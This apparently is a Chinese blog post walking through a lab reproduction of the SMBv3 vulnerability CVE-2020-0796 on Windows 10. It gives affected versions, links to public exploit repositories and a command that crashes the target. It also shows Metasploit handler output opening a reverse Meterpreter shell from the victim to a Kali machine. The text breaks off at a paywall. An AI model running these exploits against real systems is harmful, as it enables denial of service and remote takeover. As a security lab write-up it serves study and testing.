CVE-2020-0796漏洞复现

最新推荐文章于 2025-04-22 00:15:00 发布

快吃小蛋糕吧

最新推荐文章于 2025-04-22 00:15:00 发布

阅读量2.1k

点赞数

分类专栏：网络安全文章标签： metasploit

本文链接：https://blog.youkuaiyun.com/qq_40549070/article/details/109560751

版权

本文详细介绍了CVE-2020-0796，这是一个影响Microsoft Windows 10和Windows Server 1903/1909的SMBv3协议输入验证错误漏洞，可能导致远程代码执行和蓝屏攻击。文章提供漏洞背景、受影响版本，并分享了复现漏洞所需的环境搭建、攻击工具及步骤，包括蓝屏攻击、本地提权和代码执行的实战演示。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

即17年永恒之蓝后，又爆出永恒之黑，445不愧是安全工程师的噩梦。

漏洞简介

Microsoft Windows和Microsoft Windows Server都是美国微软（Microsoft）公司的产品。Microsoft Windows是一套个人设备使用的操作系统。Microsoft Windows Server是一套服务器操作系统。Server Message Block是其中的一个服务器信息传输协议。

Microsoft Server Message Block 3.1.1 (SMBv3)版本中存在输入验证错误漏洞，该漏洞源于SMBv3协议在处理恶意压缩数据包时，进入了错误流程。远程未经身份验证的攻击者可利用该漏洞在应用程序中执行任意代码。以下产品及版本受到影响：Microsoft Windows 10版本1903，Windows Server版本1903，Windows 10版本1909，Windows Server版本1909。

受影响版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)

实践

所需工具与镜像下载地址：

CVE-2020-0796代码执行/POC：http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

CVE-2020-0796代码执行/EXP：https://github.com/chompie1337/SMBGhost_RCE_PoC

CVE-2020-0796蓝屏攻击/EXP：https://github.com/eerykitty/CVE-2020-0796-PoC

CVE-2020-0796本地提权/EXP：https://github.com/danigargu/CVE-2020-0796

环境的搭建：

kali	192.168.142.19
Win10	192.168.142.61

windows版本信息（记得关闭防火墙）：

在这里插入图片描述

所需软件：

在这里插入图片描述

蓝屏攻击：

这里使用刚刚下载的EXP进行攻击：

在这里插入图片描述

对win10系统进行攻击：

//安装依赖库
python3 setup.py install
//运行程序
python3 CVE-2020-0796.py 192.168.142.61

在这里插入图片描述

本地提权：

这里的本地提权可以使用msf自带模块进行操作，这里就通过msf进行测试，GitHub上的程序就不测试了：

msf6 exploit(multi/handler) > set lhost 192.168.142.19
lhost => 192.168.142.19
msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.142.19:4444 
[*] Sending stage (200262 bytes) to 192.168.142.61
[*] Meterpreter session 2 opened (192.168.142.19:4444 -> 192.168.142.61:51757) at 2020-11-08 15:28:20 +0800

meterpreter > 
meterpreter > getuid
Server username: DESKTOP-RL1VAD8\wy
meterpreter

最低0.47元/天解锁文章